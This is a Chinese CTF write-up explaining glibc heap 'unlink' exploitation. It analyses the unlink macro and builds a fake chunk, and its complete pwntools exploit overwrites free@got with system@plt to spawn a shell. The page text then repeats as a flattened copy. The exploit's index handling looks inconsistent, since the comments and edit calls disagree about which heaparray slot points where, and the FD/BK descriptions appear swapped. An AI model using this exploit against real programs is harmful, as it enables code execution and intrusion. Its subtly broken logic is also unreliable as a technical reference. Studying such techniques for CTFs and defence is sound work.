pwn堆利用之unlink
字数 1288 2025-08-22 12:23:00

Pwn堆利用之unlink技术详解

1. 什么是unlink

unlink是glibc堆管理中的一个重要操作,用于将空闲的chunk从双向链表中移除。攻击者可以通过伪造chunk的元数据,利用unlink操作实现任意地址写,从而控制程序执行流程。

2. unlink源码分析

#define unlink(AV, P, BK, FD) { 
    FD = P->fd; 
    BK = P->bk; 
    if (__builtin_expect(FD->bk != P || BK->fd != P, 0)) 
        malloc_printerr(check_action, "corrupted double-linked list", P, AV); 
    else { 
        FD->bk = BK; 
        BK->fd = FD; 
        if (!in_smallbin_range(P->size) && __builtin_expect(P->fd_nextsize != NULL, 0)) { 
            if (__builtin_expect(P->fd_nextsize->bk_nextsize != P, 0) || 
                __builtin_expect(P->bk_nextsize->fd_nextsize != P, 0)) 
                malloc_printerr(check_action, "corrupted double-linked list (not small)", P, AV); 
            if (FD->fd_nextsize == NULL) { 
                if (P->fd_nextsize == P) 
                    FD->fd_nextsize = FD->bk_nextsize = FD; 
                else { 
                    FD->fd_nextsize = P->fd_nextsize; 
                    FD->bk_nextsize = P->bk_nextsize; 
                    P->fd_nextsize->bk_nextsize = FD; 
                    P->bk_nextsize->fd_nextsize = FD; 
                } 
            } else { 
                P->fd_nextsize->bk_nextsize = P->bk_nextsize; 
                P->bk_nextsize->fd_nextsize = P->fd_nextsize; 
            } 
        } 
    } 
}

关键操作解析:

  1. 参数说明

    • AV:分配区指针
    • P:当前要unlink的chunk
    • BK:后一个chunk
    • FD:前一个chunk
  2. 安全检查

    if (__builtin_expect(FD->bk != P || BK->fd != P, 0))
        malloc_printerr(check_action, "corrupted double-linked list", P, AV);
    

    检查前一个chunk的bk和后一个chunk的fd是否都指向当前chunk,防止链表被破坏。

  3. unlink操作

    FD->bk = BK;
    BK->fd = FD;
    

    将前一个chunk的bk指向后一个chunk,后一个chunk的fd指向前一个chunk,完成链表节点的移除。

3. unlink攻击原理

通过伪造一个fake chunk,使得:

  • P->fd->bk == P
  • P->bk->fd == P

当这两个条件满足时,unlink操作会执行:

*(P->fd + 0x18) = P->bk
*(P->bk + 0x10) = P->fd

如果我们设置:

  • P->fd = target - 0x18
  • P->bk = target - 0x10

那么unlink操作将变为:

*(target - 0x18 + 0x18) = target - 0x10  => *target = target - 0x10
*(target - 0x10 + 0x10) = target - 0x18  => *target = target - 0x18

最终结果是*target = target - 0x18,实现了向target地址写入值target - 0x18

4. 实际利用步骤

题目分析

题目是一个堆菜单题,具有以下功能:

  • create_heap: 创建指定大小的堆块
  • edit_heap: 编辑堆块内容,存在堆溢出漏洞
  • delete_heap: 释放堆块,指针置零,无UAF
  • l33t: 后门函数,调用system("cat /home/pwn/flag")

利用过程

  1. 准备阶段

    • 分配多个chunk,为伪造fake chunk做准备
  2. 伪造fake chunk

    • 在某个chunk中构造fake chunk的元数据:
      fd = target - 0x18
      bk = target - 0x10
      payload = p64(0) + p64(0x21) + p64(fd) + p64(bk) + p64(0x20) + p64(next_chunk_size | PREV_INUSE)
      
    • 通过edit功能写入伪造的元数据
  3. 触发unlink

    • 释放与fake chunk物理相邻的chunk,触发unlink操作
    • 此时heaparray中的指针会被修改为target - 0x18
  4. 实现任意地址写

    • 通过修改后的heaparray指针,可以覆盖free@gotsystem@plt
    • 释放一个包含/bin/sh的chunk即可获得shell

完整EXP

from pwn import *

context(log_level='debug', os='linux', arch='amd64')
elf = ELF('./pwn')

def exploit():
    p = process('./pwn')
    
    def add(size, content):
        p.sendlineafter("Your choice :", "1")
        p.sendlineafter("Size of Heap : ", str(size))
        p.sendafter("Content of heap:", content)
    
    def edit(idx, size, content):
        p.sendlineafter("Your choice :", "2")
        p.sendlineafter("Index :", str(idx))
        p.sendlineafter("Size of Heap : ", str(size))
        p.sendafter("Content of heap : ", content)
    
    def delete(idx):
        p.sendlineafter("Your choice :", "3")
        p.sendlineafter("Index :", str(idx))
    
    # 准备target地址
    target = 0x6020e0  # heaparray地址
    fd = target - 0x18
    bk = target - 0x10
    
    # 分配chunk
    add(0x20, b'aaaa')  # 0
    add(0x80, b'bbbb')  # 1
    add(0x100, b'cccc') # 2
    add(0x10, b'/bin/sh\x00') # 3
    
    # 伪造fake chunk
    payload = p64(0) + p64(0x21) + p64(fd) + p64(bk) + p64(0x20) + p64(0x90)
    edit(0, len(payload), payload)
    
    # 触发unlink
    delete(1)
    
    # 重新分配chunk1,此时heaparray[0]指向target-0x18
    add(0x20, b'a')  # 1
    
    # 构造payload覆盖free@got
    payload = b'a'*0x18 + p64(elf.got['free'])
    edit(0, len(payload), payload)
    
    # 将free@got改为system@plt
    edit(1, 8, p64(elf.plt['system']))
    
    # 触发free("/bin/sh")实际上是system("/bin/sh")
    delete(3)
    
    p.interactive()

exploit()

5. 调试技巧

  1. 查看堆布局

    pwndbg> vis
    
  2. 查看关键内存

    pwndbg> x/40gx 0x6020a0
    
  3. 跟踪unlink过程

    • 在free操作前设置断点
    • 单步跟踪unlink宏的执行

6. 防御措施

  1. glibc的安全检查

    • 双向链表完整性检查
    • size字段合法性检查
  2. 现代防护

    • Safe-Linking (glibc 2.32+)
    • 更严格的chunk验证

7. 总结

unlink攻击的核心在于:

  1. 伪造一个看似合法的fake chunk
  2. 绕过glibc的双向链表检查
  3. 利用unlink操作实现任意地址写
  4. 通过覆盖关键函数指针控制程序流

这种攻击方式在早期glibc版本中较为有效,但随着防护措施的加强,现代系统中需要结合其他漏洞才能实现类似效果。

Pwn堆利用之unlink技术详解 1. 什么是unlink unlink是glibc堆管理中的一个重要操作,用于将空闲的chunk从双向链表中移除。攻击者可以通过伪造chunk的元数据,利用unlink操作实现任意地址写,从而控制程序执行流程。 2. unlink源码分析 关键操作解析: 参数说明 : AV :分配区指针 P :当前要unlink的chunk BK :后一个chunk FD :前一个chunk 安全检查 : 检查前一个chunk的 bk 和后一个chunk的 fd 是否都指向当前chunk,防止链表被破坏。 unlink操作 : 将前一个chunk的 bk 指向后一个chunk,后一个chunk的 fd 指向前一个chunk,完成链表节点的移除。 3. unlink攻击原理 通过伪造一个fake chunk,使得: P->fd->bk == P P->bk->fd == P 当这两个条件满足时,unlink操作会执行: 如果我们设置: P->fd = target - 0x18 P->bk = target - 0x10 那么unlink操作将变为: 最终结果是 *target = target - 0x18 ,实现了向target地址写入值 target - 0x18 。 4. 实际利用步骤 题目分析 题目是一个堆菜单题,具有以下功能: create_heap : 创建指定大小的堆块 edit_heap : 编辑堆块内容,存在堆溢出漏洞 delete_heap : 释放堆块,指针置零,无UAF l33t : 后门函数,调用 system("cat /home/pwn/flag") 利用过程 准备阶段 : 分配多个chunk,为伪造fake chunk做准备 伪造fake chunk : 在某个chunk中构造fake chunk的元数据: 通过edit功能写入伪造的元数据 触发unlink : 释放与fake chunk物理相邻的chunk,触发unlink操作 此时 heaparray 中的指针会被修改为 target - 0x18 实现任意地址写 : 通过修改后的 heaparray 指针,可以覆盖 free@got 为 system@plt 释放一个包含 /bin/sh 的chunk即可获得shell 完整EXP 5. 调试技巧 查看堆布局 : 查看关键内存 : 跟踪unlink过程 : 在free操作前设置断点 单步跟踪unlink宏的执行 6. 防御措施 glibc的安全检查 : 双向链表完整性检查 size字段合法性检查 现代防护 : Safe-Linking (glibc 2.32+) 更严格的chunk验证 7. 总结 unlink攻击的核心在于: 伪造一个看似合法的fake chunk 绕过glibc的双向链表检查 利用unlink操作实现任意地址写 通过覆盖关键函数指针控制程序流 这种攻击方式在早期glibc版本中较为有效,但随着防护措施的加强,现代系统中需要结合其他漏洞才能实现类似效果。